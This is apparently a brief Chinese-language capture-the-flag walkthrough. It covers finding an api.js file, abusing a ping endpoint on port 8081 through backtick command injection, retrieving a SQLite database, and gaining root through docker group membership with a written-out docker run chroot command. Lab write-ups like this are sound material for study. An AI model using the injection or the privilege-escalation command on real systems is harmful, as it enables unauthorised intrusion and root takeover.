扫描,爆破后发现

(function() {
    console.warn('Debugging ::');

    function getAPIURL() {
	return `${window.location.hostname}:8081`
    }
    
    function checkAPIStatus() {
	const req = new XMLHttpRequest();
	try {
	    const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`
	    req.open('GET', url, true);
	    req.onload = function (e) {
		if (req.readyState === 4) {
		    if (req.status === 200) {
			console.log('The api seems to be running')
		    } else {
			console.error(req.statusText);
		    }
		}
	    };
	    req.onerror = function (e) {
		console.error(xhr.statusText);
	    };
	    req.send(null);
	}
	catch (e) {
	    console.error(e)
	    console.log('API Error');
	}
    }
    checkAPIStatus()
    const interval = setInterval(checkAPIStatus, 10000);
    const form = document.querySelector('form')
    form.action = `http://${getAPIURL()}/auth`;
    
})();

api.js
应该是8081的端口

顺着那个端口
用反引号命令执行

拿到文件tech.db.sqlite

然后ssh,docker组直接提权了,不过不是用alpine
docker run -v /:/mnt --rm -it bash chroot /mnt sh

拿下来了

原因在这
